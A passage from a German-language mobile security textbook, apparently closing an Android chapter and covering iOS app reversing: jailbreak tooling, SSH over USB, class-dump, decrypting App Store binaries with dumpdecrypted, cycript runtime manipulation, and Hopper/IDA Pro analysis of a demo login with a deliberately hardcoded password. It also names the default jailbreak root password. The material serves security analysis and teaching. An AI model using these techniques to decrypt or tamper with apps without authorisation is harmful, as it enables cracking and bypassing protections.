Komponenten des Emulators. Diese Steuerung findet man unter DDMS →
Emulator Control. Hier kann man über die grafische Oberfläche den Eingang von
SMS-Nachrichten, Telefonanrufen oder auch die GPS-Daten des Endgerätes simulieren.
Hierdurch ist es möglich, Nutzerinteraktionen der Applikation vorzugaukeln.
Dies ist besonders dann von Interesse, wenn wir in der statischen Analyse
festgestellt haben, dass die Applikation auf den Eingang einer bestimmten
SMS-Nachricht wartet. Diese Nachricht können wir nun zur Laufzeit über die
Oberfläche auslösen und genau beobachten, was die Applikation im Anschluss
durchführt.
Ebenso kann man eigenen Java- oder Jimple-Code in die Applikation einfügen,
der zur Laufzeit kompiliert wird. So kann man die Applikation manipulieren
und neue Funktionen hinzufügen. Hierdurch kann man z. B. erreichen, dass die
Applikation ihre Crypto-Schlüssel in eine Textdatei zur späteren Analyse wegschreibt
oder zusätzliche Logausgaben erzeugt.
4.9 Zusammenfassung
In diesem Kapitel haben wir gesehen, welche Schwachstellen eine Android-
Applikation potenziell haben kann und wie man diese entdecken und schließlich
auch ausnutzen kann. Dabei sind wir nicht nur auf die unsachgemäße Handhabung
von personenbezogenen Daten eingegangen, sondern auch auf Klassiker wie
exportierte Activities und SQL-Injection.
Wie man im vorletzten Abschnitt dieses Kapitels sehr schön sehen kann, ist
eine forensische Analyse der Dateien innerhalb der Sandboxen ebenso wichtig wie

114 4 Sicherheitsprobleme bei Android-Applikationen
die zuvor gezeigten Angriffe auf den Code der Applikation. Hier ist auch klar geworden,
wieso es hilfreich sein kann, die PIN der Vollverschlüsselung auszulesen:
Diese PIN kann mit hoher Wahrscheinlichkeit auch bei weiteren Applikationen
zum Entsperren verwendet werden und so eine Menge Arbeit für ein erneutes
Reversing sparen.
Im letzten Abschnitt wurde noch gezeigt, wie man Applikationen zur Laufzeit
manipulieren kann, um mehr über ihre Funktion zu erfahren oder um Abfragen
oder Prüfroutinen der Applikationen zu umgehen.

115
5 Reversing von iOS-Applikationen
Nachdem in Abschnitt 1.2 bereits die Grundstruktur von iOS und dessen Applikationen
beschrieben wurde, wollen wir nun darauf eingehen, wie man verdächtige
Applikationen untersuchen kann. Dabei werden wir in diesem Kapitel mit der
manuellen Analyse mithilfe bekannter Tools wie beispielsweise dumdecrypted,
class-dump und IDA Pro beginnen und so demonstrieren, wie der Sicherheitsanalyst
möglichst an eine interpretierbare Version des Maschinencodes kommt.
Dies ist nötig, um genau nachvollziehen zu können, wie eine Applikation funktioniert
und auf welche Ressourcen sie zugreift. Somit bildet dieses Kapitel die
Basis für die in Kapitel 6 gezeigte Schwachstellensuche.
5.1 Vorgehensweisen beim Reversing von
iOS-Applikationen
Bei der statischen Analyse einer iOS-Applikation gibt es ein deutlich einfacheres
Muster als bei Android, nach dem man vorgehen kann, um erste Anhaltspunkte
über die Funktionen einer Applikation herauszufinden:
1. Beschaffen der zu untersuchenden Applikation
2. Analysieren des Codes
Diesem Muster wollen wir nun auch folgen und anhand einiger Beispiel-Applikationen
eine statische Analyse durchführen. Lassen Sie sich aber nicht davon täuschen,
dass es auf den ersten Blick einfacher aussieht als bei Android, die Schwierigkeiten
kommen mit den Details und Unterschritten der hier aufgelisteten zwei
Punkte.
5.2 Wichtige Tools und Helfer
Bevor wir mit dem eigentlichen Reversen von iOS-Applikationen beginnen, sehen
wir uns noch kurz ein paar sehr wichtige Tools an, die bei der Analyse bzw.
der Interaktion mit dem iOS-Gerät hilfreich sind und im weiteren Verlauf des
Kapitels immer wieder auftauchen werden. Zu diesen Tools gehören Cydia, SSH
und libimobiledevice.

116 5 Reversing von iOS-Applikationen
5.2.1 Cydia
Cydia1 ist ein alternativer Marktplatz für Applikationen und Erweiterungen, die
speziell für jailbroken iOS-Geräte gedacht sind. Damit sind iOS-Geräte gemeint,
deren Betriebssystem modifiziert wurde, um Nutzungsbeschränkungen zu entfernen
(auch Jailbreak genannt). Dieser von Jay Freeman (auch bekannt unter dem
Alias saurik) entwickelte Marktplatz kann nicht über Apple iTunes oder den Apple
Store bezogen werden, sondern wird zusammen mit den bekannten Jailbreak-
Tools von Pangu2 oder TaiG3 verteilt.
Dieser Marktplatz ist für unsere Arbeit enorm wichtig, da wir hier viele der
notwendigen Tools und Applikationen bekommen, die wir im weiteren Verlauf
dieses und des folgenden Kapitels benötigen. Im Wesentlichen ist der Marktplatz
eine eigene Applikation, die eine grafische Oberfläche für den aus UNIX bekannten
Paketmanager APT bietet. Pakete, die dort angeboten werden, liegen im deb-
Format vor und können von einer Vielzahl an frei wählbaren Quellen eingebunden
und installiert werden.
Das Hinzufügen von weiteren Paketquellen funktioniert wie in Abbildung 5–1
beschrieben. Wir werden im weiteren Verlauf dieses Buches des Öfteren Gebrauch
von dieser Funktion machen und die entsprechenden Quellen erwähnen.
5.2.2 SSH und SCP
Um mit dem iOS-Gerät zu interagieren, ist es notwendig, sich per SSH (Secure
Shell) auf das Gerät zu verbinden (ähnlich wie wir es im Rahmen von Android
mit adb vorgenommen haben). Dazu müssen wir in Cydia das Paket OpenSSH
installieren (siehe Abbildung 5–2).
Im restlichen Kapitel werden wir lediglich die folgenden beiden Befehle aus
dem Paket OpenSSH verwenden:
ssh: Mit diesem Befehl können wir uns auf das Gerät verbinden und dort eine
Kommandozeile erhalten. Dies geschieht mittels:
ssh root@
scp: Mit diesem Befehl können wir Dateien zwischen dem iOS-Gerät und dem
Analyserechner austauschen. Der Upload von Dateien auf das iOS-Gerät
funktioniert dabei folgendermaßen:
scp root@:
1 Cydia: https://cydia.saurik.com/
2 Pangu Jailbreak: http://en.pangu.io/
3 TaiG Jailbreak: http://www.taig.com/en/

5.2 Wichtige Tools und Helfer 117
Abb. 5–1: Hinzufügen von eigenen Paketquellen in Cydia

118 5 Reversing von iOS-Applikationen
Abb. 5–2: OpenSSH-Paket in Cydia
Sobald wir dieses Paket installiert haben, ist es enorm wichtig, die Passwörter zu
ändern, da diese fest vergeben und bei jedem iOS-Gerät nach dem erfolgreichen
Jailbreak identisch sind4 (siehe hierzu Codebeispiel 5–1).
# Verbinden per SSH:
$: ssh root@
# Ändern des Passworts für den Nutzer root:
$: passwd root
Changing password for root.
New password:
Retype new password:
# Ändern des Passworts für den Nutzer mobile:
$: passwd mobile
Changing password for mobile.
New password:
Retype new password:
Codebeispiel 5–1: Änderung der Passwörter per SSH
4 Das Passwort für die Benutzer root und mobile lautet alpine.

5.2 Wichtige Tools und Helfer 119
Das Ändern der Passwörter ist auch notwendig, um erneute Malware- bzw.
Wurm-Ausbrüche wie zu Beginn der Jailbreak-Zeit mit Ikee5 zu vermeiden.
5.2.3 libimobiledevice
In den meisten Anwendungsszenarien wird eine Verbindung per SSH über ein
gemeinsames Wi-Fi-Netzwerk vorgenommen, was hierfür auch ausreichend ist.
Sobald man jedoch größere Datenmengen übertragen möchte oder gar eine auf
dem Gerät befindliche Applikation debuggen will, ist diese Verbindung sehr langsam
und oft auch anfällig für Verbindungsabbrüche, die einem das Leben deutlich
erschweren.
Um diese Probleme zu umgehen, gibt es ein hilfreiches Werkzeug, das ursprünglich
von Nikias Bassen entwickelt wurde und nun in einer Sammlung von
Werkzeugen namens libimobiledevice6 aufgegangen ist. Dieses Tool erlaubt es,
die SSH- oder später auch die Debugger-Verbindung über USB zu tunneln und
somit wesentlich zu beschleunigen und Verbindungsabbrüche zu verhindern.
Im folgenden Beispiel installieren wir die erforderlichen Pakete auf unserem
OS-X-Analysesystem und verbinden uns per SSH auf das angeschlossene und gerootete
iPhone (siehe Codebeispiel 5–2):
# Installation von libimobiledevice über brew:
$: brew install libimobiledevice
# Umleiten des lokalen Ports 2222 auf Port 22 auf dem per USB verbundenen
iPhone:
$: iproxy 2222 22
waiting for connection
# Aufbau der SSH-Verbindung zum angeschlossenen iPhone:
$: ssh root@localhost -p 2222
# Kopieren des eigenen SSH-Public-Key auf das iPhone um zukünftige
Passwortabfragen beim Aufbau der SSH-Verbindung zu vermeiden:
$: ssh root@localhost -p 2222 'mkdir -p ~/.ssh && cat >> ~/.ssh/
authorized_keys' < ~/.ssh/id_rsa.pub
Codebeispiel 5–2: Installation von libimobiledevice und Aufbau einer SSH-Verbindung zum
iPhone
5 Ikee Wurm: http://forensics.spreitzenbarth.de/current-ios-malware/
6 libimobiledevice: https://github.com/libimobiledevice/libimobiledevice

120 5 Reversing von iOS-Applikationen
5.2.4 class-dump
Das Kommandozeilentool class-dump7 analysiert die Objective-C-Runtime-Informationen
aus den Mach-O-Dateien und extrahiert sämtliche Header der enthaltenen
Class-Dateien. Dabei versucht es, diese von der Syntax her wieder sehr nah
an die Originaldateien zu bringen, sodass ein einfaches Lesen durch den Analysten
gewährleistet wird. class-dump erzeugt dabei wieder .h-Dateien, die mit
herkömmlichen C-Editoren gelesen werden können.
Die Syntax von class-dump ist dabei sehr einfach gehalten (siehe Codebeispiel
5–3):
class-dump 3.5 (64 bit)
Usage: class-dump [options]
where options are:
-a show instance variable offsets
-A show implementation addresses
--arch choose a specific architecture from a universal binary
(ppc, ppc64, i386, x86_64)
-C only display classes matching regular expression
-f find string in method name
-H generate header files in current directory, or directory specified
with -o
-I sort classes, categories, and protocols by inheritance (overrides
-s)
-o output directory used for -H
-r recursively expand frameworks and fixed VM shared libraries
-s sort classes and categories by name
-S sort methods by name
-t suppress header in output, for testing
--list-arches list the arches in the file, then exit
--sdk-ios specify iOS SDK version (will look in /Developer/Platforms/
iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk
--sdk-mac specify Mac OS X version (will look in /Developer/SDKs/
MacOSX.sdk
--sdk-root specify the full SDK root path (or use --sdk-ios/--sdk-mac
for a shortcut)
Codebeispiel 5–3: Syntax von class-dump
Um aus unserer Testapplikation alle Header zu extrahieren, verwenden wir folgende
Vorgehensweise (siehe Codebeispiel 5–4):
7 class-dump: http://stevenygard.com/projects/class-dump/

5.2 Wichtige Tools und Helfer 121
# Suche des eigentlichen Executables unserer Applikation:
$: plutil -p Test.app/Info.plist | grep CFBundleExecutable
"CFBundleExecutable" => "Test"
# Extrahieren der Header in das Verzeichnis out:
$: class-dump -S -s -H Test.app/Test -o out
Codebeispiel 5–4: Verwendung von class-dump, um aus einer unverschlüsselten iOS-
Applikation die Header zu extrahieren
Im so entstandenen Verzeichnis out finden wir nun alle Class-Datei-Header, die
die Applikation verwendet. Da dies schnell mehrere Hundert oder gar tausend
Dateien sind, hilft an dieser Stelle meist nur Erfahrung und Gespür weiter.
Was man aus diesen Dateien jedoch recht gut ableiten kann, ist der grobe
Aufbau – also die Architektur – der Applikation, um so Punkte zu identifizieren,
die für das tiefere Reversing lohnenswert sind. Mehr Details hierzu finden Sie im
weiteren Verlauf dieses Kapitels.
5.2.5 dumpdecrypted
Apple hat als Schutz für seine Applikationen die darin enthaltenen Executables
(also die eigentliche Applikation) verschlüsselt. Dies schützt davor, dass man sie –
wie bei Android – einfach vom Gerät herunterladen und analysieren oder auf einem
anderen Gerät installieren kann. Aus diesem Grund funktioniert das zuvor
gezeigte class-dump auch nur bei unverschlüsselten oder eigenentwickelten Applikationen.
Wollen wir uns jedoch eine Applikation aus dem Apple Store oder einem iOS-
Gerät genauer anschauen, müssen wir diese erst entschlüsseln. Dazu hat Stefan
Esser das Tool dumpdecrypted8 entwickelt. Um es einsetzen zu können, müssen
wir es jedoch zuerst kompilieren (siehe Codebeispiel 5–5):
# Download des Quellcodes von dumpdecrypted:
$: git clone git://github.com/stefanesser/dumpdecrypted/
# Kompilieren von dumpdecrypted:
$: make
`xcrun --sdk iphoneos --find gcc` -Os -Wimplicit -isysroot `xcrun --sdk
iphoneos --show-sdk-path` -F`xcrun --sdk iphoneos --show-sdk-path`/
System/Library/Frameworks -F`xcrun --sdk iphoneos --show-sdk-path`/
System/Library/PrivateFrameworks -arch armv7 -arch armv7s -arch arm64 -c
-o dumpdecrypted.o dumpdecrypted.c
8 dumpdecrypted: https://github.com/stefanesser/dumpdecrypted/

122 5 Reversing von iOS-Applikationen
`xcrun --sdk iphoneos --find gcc` -Os -Wimplicit -isysroot `xcrun --sdk
iphoneos --show-sdk-path` -F`xcrun --sdk iphoneos --show-sdk-path`/
System/Library/Frameworks -F`xcrun --sdk iphoneos --show-sdk-path`/
System/Library/PrivateFrameworks -arch armv7 -arch armv7s -arch arm64 -
dynamiclib -o dumpdecrypted.dylib dumpdecrypted.o
Codebeispiel 5–5: Download und kompilieren von dumpdecrypted
Nun sollten wir eine Datei namens dumpdecrypted.dylib erhalten haben, die wir im
späteren Verlauf dieses Kapitels benötigen, um eine Applikation aus dem Apple
Store zu entschlüsseln.
5.2.6 lipo
lipo ist ein Tool, das in der Lage ist, aus einer iOS-Applikation auszulesen, für
welche Prozessorarchitekturen ein Executable in ihr kompiliert ist und es kann
die Applikation auch insoweit verändern, dass bestimmte Architekturen entfernt
werden. Dies ist gerade dann interessant, wenn man die Applikation mit Tools
manipulieren möchte, die eine bestimmte Prozessorarchitektur nicht unterstützen.
Dies kommt vor allem auf neueren Geräten und aktuellen iOS-Versionen vor, die
bereits arm64 verwenden.
Codebeispiel 5–6 zeigt, wie man mittels lipo alle enthaltenen Architekturen
anzeigen lassen kann, wohingegen Codebeispiel 5–7 angibt, wie man alle nicht
benötigten Architekturen aus der gepackten Applikation entfernen kann.
$: lipo -info Test.decrypted
Architectures in the fat file: Test.decrypted are: armv7 arm64
Codebeispiel 5–6: Anzeigen der enthaltenen Prozessorarchitekturen mittels lipo
$: lipo -thin armv7 -output Test-v7.decrypted Test.decrypted
Codebeispiel 5–7: Löschen nicht benötigter Prozessorarchitekturen mittels lipo
5.2.7 cycript
cycript9 ist eine interaktive Konsole, die an jeden aktuell laufenden Prozess oder
jede Applikation auf iOS angedockt werden kann, um diese damit zu manipulieren
oder zumindest mit ihr zu interagieren. Dabei verwendet cycript eine Mischung
aus der Objective-C++- und der JavaScript-Syntax. Um cycript auf einem
iOS-Gerät verwenden zu können, müssen wir in Cydia das Paket cycript installieren
(siehe Abbildung 5–3).
9 cycript: http://www.cycript.org/

5.2 Wichtige Tools und Helfer 123
Abb. 5–3: cycript-Paket in Cydia
Ist die Installation erfolgreich gewesen, können wir uns wieder wie gewohnt per
SSH auf das Endgerät verbinden und dort die cycript-Konsole starten. Codebeispiel
5–8 zeigt, wie man die Konsole startet, und gibt in einem einfachen Beispiel
einen ersten Einblick in die Mächtigkeit von cycript:
# Starten der cycript-Konsole:
$: cycript
cy#
# Erstellen eines einfachen Pop-up-Fensters:
cy# var alert = [[UIAlertView alloc] initWithTitle:@"Hacking Mobile" message:
@"Ein herzliches ''Hallo'' an den Analysten!" delegate:nil
cancelButtonTitle:@"OK" otherButtonTitles:nil]
#""
cy# [alert show]
# Beenden der cycript-Konsole:
ctrl + d
Codebeispiel 5–8: Erste Verwendung von cycript

124 5 Reversing von iOS-Applikationen
Mit cycript ist noch eine ganze Menge mehr möglich, was wir im Verlauf dieses
Kapitels – und besonders auch in Kapitel 6 – demonstrieren werden, um damit
zum einen tiefer gehende Informationen über iOS-Applikationen zu erhalten, aber
zum anderen auch, um direkt Schwachstellen in ihnen zu erkennen und auszunutzen.
5.3 Beschaffen der zu untersuchenden Applikation
Um eine Applikation von einem iOS-Gerät auf den Analyserechner zu bekommen,
benötigen wir mehrere Schritte. Das ideale Vorgehen ist wie folgt:
1. Auffinden der Applikation selbst
2. Auffinden des Dokumentenverzeichnisses der Applikation
3. Entschlüsseln der Applikation
4. Übertragen der Applikation auf den Analyserechner
5.3.1 Auffinden der Applikation selbst
iOS speichert die Applikationen im Dateisystem unter dem Pfad /var/mobile/
Containers/Bundle/Application/ ab. Das Problem ist, die sogenannte
unique_id ausfindig zu machen, denn diese lässt sich nicht aus der Applikation
ableiten.
Der einfachste Weg hierzu ist, die gewünschte Applikation zu starten und sich
im Anschluss per SSH auf das iOS-Gerät zu verbinden. Sobald wir auf dem iOS-
Gerät eingeloggt sind, suchen wir mithilfe von ps nach dem laufenden Prozess
unserer Applikation und erhalten als Zugabe das Verzeichnis, in der ihr Executable
liegt (siehe Codebeispiel 5–9):
$: ps -e | grep Test.app
1392 ?? 0:02.38 /var/mobile/Containers/Bundle/Application/DFA9B5E3-0DD4-438E
-94D1-17FF70189B43/Test.app/Test
Codebeispiel 5–9: Verwendung von ps zum Auffinden der Applikation selbst
Sollten wir uns beim Namen der gesuchten Applikation nicht sicher sein, so können
wir auch einfach nach .app/ suchen. Wir erhalten dann zwar mehr Treffer,
aber je nach Anzahl an aktuell laufenden Applikationen lässt sich sehr schnell der
gesuchte Pfad finden.
In unserem Fall müssen wir uns den Pfad /var/mobile/Containers/Bundle/
Application/DFA9B5E3-0DD4-438E-94D1-17FF70189B43/ merken. Diesen benötigen
wir in Schritt 3 (Abschnitt 5.3.3) wieder.

5.3 Beschaffen der zu untersuchenden Applikation 125
5.3.2 Auffinden des Dokumentenverzeichnisses der Applikation
Als Nächstes brauchen wir noch das zugehörige Dokumentenverzeichnis der Applikation,
da sie im Regelfall nur dort Schreibrechte besitzt und wir diese zum
Entschlüsseln des Executables benötigen. Dies geht am schnellsten mithilfe von
cycript. Dazu gehen wir wie folgt vor (siehe Codebeispiel 5–10):
$: cycript -p Test
cy# [[NSFileManager defaultManager] URLsForDirectory:NSDocumentDirectory
inDomains:NSUserDomainMask][0]
#"file:///var/mobile/Containers/Data/Application/2B3B8593-1B03-4148-A132-
B52BC1439D52/Documents/"
Codebeispiel 5–10: Verwendung von cycript zum Auffinden des Dokumentenverzeichnisses
der Applikation
Nun haben wir den zweiten Pfad, den wir für das eigentliche Entschlüsseln des
Executables benötigen: /var/mobile/Containers/Data/Application/2B3B8593-1B03-
4148-A132-B52BC1439D52/Documents/
Auf manchen iOS 9-Endgeräten ist es nicht ohne Weiteres möglich, per scp in
das Dokumentenverzeichnis zu schreiben. In diesen Fällen konnte jedoch direkt
in das Homeverzeichnis des root-Nutzers geschrieben werden. Für diesen Fall ist
einfach das Dokumentenverzeichnis durch /var/root/ zu ersetzen.
5.3.3 Entschlüsseln der Applikationen
Zum Entschlüsseln der Applikation bzw. dessen Executables kopieren wir die in
Abschnitt 5.2.5 generierte dumpdecrypted.dylib auf das iOS-Gerät in das Dokumentenverzeichnis:
$: scp -P 2222 dumpdecrypted.dylib root@localhost:/var/mobile/Containers/Data
/Application/2B3B8593-1B03-4148-A132-B52BC1439D52/Documents/
dumpdecrypted.dylib 100% 193KB 192.9KB/s 00:00
Codebeispiel 5–11: Übertragen der dumpdecrypted.dylib auf das Endgerät
Danach verbinden wir uns wieder per SSH mit dem iOS-Gerät und wechseln in
das Dokumentenverzeichnis. Dort starten wir die Entschlüsselung wie in Codebeispiel
5–12 gezeigt:
$: DYLD_INSERT_LIBRARIES=dumpdecrypted.dylib /var/mobile/Containers/Bundle/
Application/DFA9B5E3-0DD4-438E-94D1-17FF70189B43/Test.app/Test
mach-o decryption dumper

126 5 Reversing von iOS-Applikationen
DISCLAIMER: This tool is only meant for security research purposes, not for
application crackers.
[+] detected 32bit ARM binary in memory.
[+] offset to cryptid found: @0x81a4c(from 0x81000) = a4c
[+] Found encrypted data at address 00004000 of length 17678336 bytes - type
1.
[+] Opening /private/var/mobile/Containers/Bundle/Application/DFA9B5E3-0DD4
-438E-94D1-17FF70189B43/Test.app/Test for reading.
[+] Reading header
[+] Detecting header type
[+] Executable is a FAT image - searching for right architecture
[+] Correct arch is at offset 16384 in the file
[+] Opening Test.decrypted for writing.
[+] Copying the not encrypted start of the file
[+] Dumping the decrypted data into the file
[+] Copying the not encrypted remainder of the file
[+] Setting the LC_ENCRYPTION_INFO->cryptid to 0 at offset 4a4c
[+] Closing original file
[+] Closing dump file
Codebeispiel 5–12: Entschlüsseln des Executables mittels dumpdecrypted
Hat alles funktioniert, haben wir nun eine Datei namens Test.decrypted im Dokumentenverzeichnis.
5.3.4 Übertragen der Applikation auf den Analyserechner
Die so erzeugte entschlüsselte Version unserer Applikation können wir nun
wieder mit scp auf unseren Analyserechner übertragen (siehe dazu Codebeispiel
5–13):
$: scp -P 2222 root@localhost:/var/mobile/Containers/Data/Application/
2B3B8593-1B03-4148-A132-B52BC1439D52/Documents/Test.decrypted .
Test.decrypted 100% 45MB 11.4MB/s 00:04
Codebeispiel 5–13: Übertragen der Test.decrypted auf den Analyserechner
Diese Datei können wir nun mit einem Decompiler unserer Wahl weiter analysieren
oder mittels Tools wie otool und class-dump erste Informationen über die
Applikation erlangen.

5.4 Werkzeuge zum Analysieren der Applikationen 127
5.4 Werkzeuge zum Analysieren der Applikationen
In den vorangegangenen Schritten haben wir die Applikation, die wir analysieren
möchten, auf dem Gerät lokalisiert und die Entschlüsselung sowie das »Abspecken«
erfolgreich durchgeführt. Nun folgt die eigentliche Arbeit: das Reversing.
Dies ist bei iOS deutlich aufwendiger, als wir es bei Android gesehen hatten, was
hauptsächlich daran liegt, dass wir es im Folgenden mit sehr komplexen Tools
zu tun haben und mit einer Sprache – Assembly –, die sich doch deutlich von der
Syntax der Applikations-Programmiersprachen unterscheidet.
Für das Beispiel zum Reversing verwenden wir eine kleine Applikation, die
ein Login-Fenster besitzt und gegen eine fest hinterlegte Benutzerkennung prüft
(so sollte keine reale Applikation einen Nutzer authentifizieren). Diese Applikation
ist in Objective-C geschrieben, da einige der Tools aktuell noch Probleme
mit in Swift geschriebenen Applikationen haben. Den entscheidenden Teil des
Quellcodes sehen wir in Codebeispiel 5–14:
- (IBAction)sigininClicked:(id)sender {
NSInteger success = 0;
@try {
if([[self.txtUsername text] isEqualToString:@""]
|| [[self.txtPassword text] isEqualToString:@""] ) {
[self alertStatus:@"Please enter Email and Password"
:@"Sign in Failed!" :0];
} else {
if([[self.txtUsername text] isEqualToString:@"analyst"]
&& [[self.txtPassword text] isEqualToString:@"secret"] ) {
success = 1;
NSLog(@"Success: %ld",(long)success);
} else {
[self alertStatus:@"Please enter Email and Password"
:@"Sign in Failed!" :0];
}
if(success == 1)
{
NSLog(@"Login SUCCESS");
} else {
NSLog(@"Login FAILED");
}
}
}

128 5 Reversing von iOS-Applikationen
}
@catch (NSException * e) {
NSLog(@"Exception: %@", e);
[self alertStatus:@"Sign in Failed." :@"Error!" :0];
}
if (success) {
[self performSegueWithIdentifier:@"login_success" sender:self];
}
Codebeispiel 5–14: Entscheidender Teil des Quellcodes unserer Demo-Applikation
5.4.1 Hopper
Hopper oder auch Hopperapp ist ein sehr mächtiges Werkzeug, um iOS-Applikationen
zu disassembeln – also aus den opcodes die passende Assembly-Sprache zu
erzeugen – oder einzelne Methoden mit dem eingebauten Decompiler in Pseudocode
umzuwandeln. Im Wesentlichen sind die Funktionen sehr ähnlich zu dem,
was auch IDA Pro bei iOS-Applikationen bieten kann. Die Lizenz für Privatpersonen
ist jedoch für gerade mal 90 Euro (Stand Januar 2016) zu bekommen, was
es für diese Zielgruppe deutlich interessanter macht als IDA Pro (Lizenzen ab
2.000 Euro – je nach Umfang).
Laut dem Hersteller ist Hopper ein Reversing-Tool für OS X, Linux und
Windows, das in der Lage ist, 32/64Bit-Intel-Mac-, Windows- und iOS-ARM-
Executables zu disassembeln, und gerade bei Executables, die auf Objective-C
beruhen, liefert der eingebaute Decompiler sehr gute Ergebnisse, wie wir später
noch sehen werden.
Wie wir in Abbildung 5–4 erkennen können, ist das Fenster in die folgenden
vier Teile gegliedert:
■
■
■
■
Links: Übersicht aller gefundenen Labels und Strings und der Suchfunktion
Mitte: Prozessorinstruktionen und zugehörige Speicheradressen
Rechts: Metainformationen über das Executable
Oben: Die Menüleiste mit den wichtigsten Shortcuts von Hopper; besonders
interessant sind hier die Schaltflächen auf der rechten Seite
Über die Suchfunktion auf der linken Seite des Fensters suchen wir nun nach dem
ViewController, der signinClicked im Namen hat. Aus den Hinweisen zu Beginn
des Abschnittes wissen wir, dass hier die interessanten Inhalte versteckt sind. Alternativ
könnten wir auch nach dem String Please enter Email and Password suchen,
den wir von einem erfolglosen Login kennen.
Die entsprechende Stelle zeigt Abbildung 5–5. Hier erkennen wir sehr schön,
dass Assembly auf den ersten Blick recht wenig mit der ursprünglichen Syntax zu
tun hat. In dieser Abbildung sehen wir auch die klassische Ansicht des Assemblers:

5.4 Werkzeuge zum Analysieren der Applikationen 129
Abb. 5–4: Hopper

130 5 Reversing von iOS-Applikationen
Abb. 5–5: Der gesuchte ViewController als Assembly-Code in Hopper
■
■
■
Die Speicheradresse
Die Prozessorinstruktionen in Assembly
Und mit das Wichtigste: der Kommentar mit oft sehr hilfreichen Hinweisen
Durch Klicken auf den mit if(b) f(x); beschrifteten Knopf (rechts oben in der
Menüleiste) können wir Hopper dazu bringen, dass er versucht, den Assemblycode
in Pseudocode zu übersetzen (also zu dekompilieren). Dies macht es für Analysten,
für die die Assembly-Sprache neu ist, deutlich einfacher, die Applikation zu
verstehen. Den entscheidenden Teil des Ergebnisses sehen wir in Abbildung 5–6.
Hier sind der fest hinterlegte Nutzername (analyst) und das zugehörige Passwort
(secret) enthalten. Ein Login in die Applikation ist nun also für uns möglich.
Aber auch hier sieht man, dass der Pseudocode stark vom eigentlichen Quellcode
abweicht. Dies ist mit einer der größten Unterschiede zu Android, wo eine
Rückgewinnung des ursprünglichen Quellcodes (oder zumindest sehr nahe daran)
möglich war.
In dieser Abbildung sehen wir vereinfacht, wie die Applikation vorgeht:
■ Die Applikation liest die Nutzereingabe in das Feld txtUsername in die Variable
var_C4 ein.
■ Im Anschluss lädt sie den Inhalt dieser Variablen in das Register r0.
■ Danach vergleicht sie den Inhalt des Registers r0 mit dem festen String analyst
und speichert das Ergebnis dieses Vergleichs in der Variablen var_D4.

5.4 Werkzeuge zum Analysieren der Applikationen 131
Abb. 5–6: Der gesuchte ViewController als Pseudocode in Hopper
■
■
■
■
In der If-Abfrage wandelt sie den Inhalt aus var_D4 in Hex um und vergleicht
ihn mit 0x0. Im Wesentlichen wird hier geprüft, ob der Vergleich aus der Zeile
darüber ein True ergeben hat, also die Eingabe des Nutzernamens korrekt
war.
In den kommenden 4 Zeilen wird eine ähnliche Prüfung mit dem Passwort
durchgeführt. Die einzige Besonderheit ist hier, dass nun 0x1, also True, in das
Register r1 und von dort in die Variable var_D8 geschrieben wird.
Im weiteren Verlauf wird der Inhalt dieser Variablen auf True geprüft und
eine Reihe von Logausgaben vorgenommen.
Die letzte If-Abfrage prüft nun nochmals, ob auch wirklich Passwort und
Nutzername korrekt waren, und leitet den Nutzer dann auf die nächste View
um. Nun ist der Nutzer eingeloggt.
Neben diesen Funktionen bietet Hopper auch noch die Möglichkeit, einen Control-Flow-Graphen
(CFG) zu erstellen. Dieser hilft bei manchen Applikationen,
den Überblick über die Applikation und deren Verlauf zu bekommen, kann aber
schnell sehr groß und unübersichtlich werden.
Eine der letzten wichtigen Funktionen ist das Debuggen von Applikationen
zur Laufzeit. Hierbei lässt sich ein iOS-Gerät direkt über den Debugger mit Hopper
verbinden und man kann somit stückchenweise durch den Code springen,
bis man an den interessanten Stellen angekommen ist. Dies ist immer dann hilf-

132 5 Reversing von iOS-Applikationen
reich, wenn die Applikation sehr groß ist oder man nicht genau weiß, wo die
interessanten Daten oder Abfragen im Code versteckt sind.
5.4.2 IDA Pro
Obwohl Tools wie Hopper oder auch radare2 deutlich günstiger sind als IDA
Pro, hat sich IDA Pro als der Industriestandard durchgesetzt und wird nahezu
von jedem professionellen Analysten oder Malware-Forscher verwendet.
Wie wir in Abbildung 5–7 sehen können, ist das Fenster von IDA Pro mit der
dekompilierten Applikation in die folgenden vier Teile gegliedert:
■
■
■
■
Links: Übersicht aller gefundenen Funktionen innerhalb der dekompilierten
Applikation
Links unten: Die Graphendarstellung mit dem Programmfluss
Mitte: Prozessorinstruktionen (Graphendarstellung)
Oben: Die Menüleiste mit den wichtigsten Shortcuts von IDA Pro und den
verschiedenen Fenstern, die standardmäßig geladen werden
Wie wir schon bei Hopper im Abschnitt zuvor gesehen haben, können wir auch
bei IDA Pro nach dem ViewController mit dem Namen signinClicked suchen. An
dieser Stelle gehen wir aber einen anderen Weg, der ans selbe Ziel führt: Wir
schauen uns die in der Applikation hinterlegten Strings an (siehe dazu Abbildung
5–8).
Finden wir hier interessante Strings – wie z. B. analyst –, so können wir diese
für die Suche verwenden und uns die passenden Stellen im dekompilierten Quellcode
anschauen. Die Abbildungen 5–9 und 5–10 zeigen die damit gefundene Stelle
im Graphen und den weiteren Verlauf des Programmflusses.
Hier erkennt man, dass die Applikation erst den Usernamen gegen den String
analyst prüft und im Fall, dass dieser Vergleich erfolgreich ist, wird das eingegebene
Passwort mit dem String secret verglichen. Erst wenn auch dieser Vergleich
erfolgreich ist, wird der Nutzer an die nächste Oberfläche innerhalb der Applikation
weitergeleitet und die Logmeldung Login SUCCESS wird abgesetzt.
Was man hier sehr schön sehen kann, ist die Funktionsweise der Graphendarstellung,
die auch gerade für Anfänger und eher ungeübte Nutzer von IDA
Pro sehr hilfreich sein kann, um einen ersten Überblick über die Applikation und
ihre Funktionen zu bekommen. Oft sieht man hier auch, auf welche Werte eine
Applikation prüft und wann sie welche Wege im Programmfluss einschlägt.
Ein weiteres Feature von IDA Pro – auf das wir hier nicht weiter eingehen –
ist die Anbindung der eigenen API an externe Python-Skripte mittels IDAPython.
Damit ist es möglich, IDA Pro aus eigenen Python-Skripten zu steuern und somit
Funktionen, die man öfters benötigt oder automatisieren möchte, auszulagern.

5.4 Werkzeuge zum Analysieren der Applikationen 133
Abb. 5–7: IDA Pro

134 5 Reversing von iOS-Applikationen
Abb. 5–8: IDA Pro-Ansicht aller fest in der Applikation hinterlegten Strings
Abb. 5–9: IDA Pro-Graphendarstellung der Prüfung von Usernamen und Passwort
Dies kann die tägliche Arbeit mit IDA Pro erheblich erleichtern. Ein sehr gutes
Beispiel hierzu findet man in einer Serie von Blogeinträgen der Firma Paloalto10.
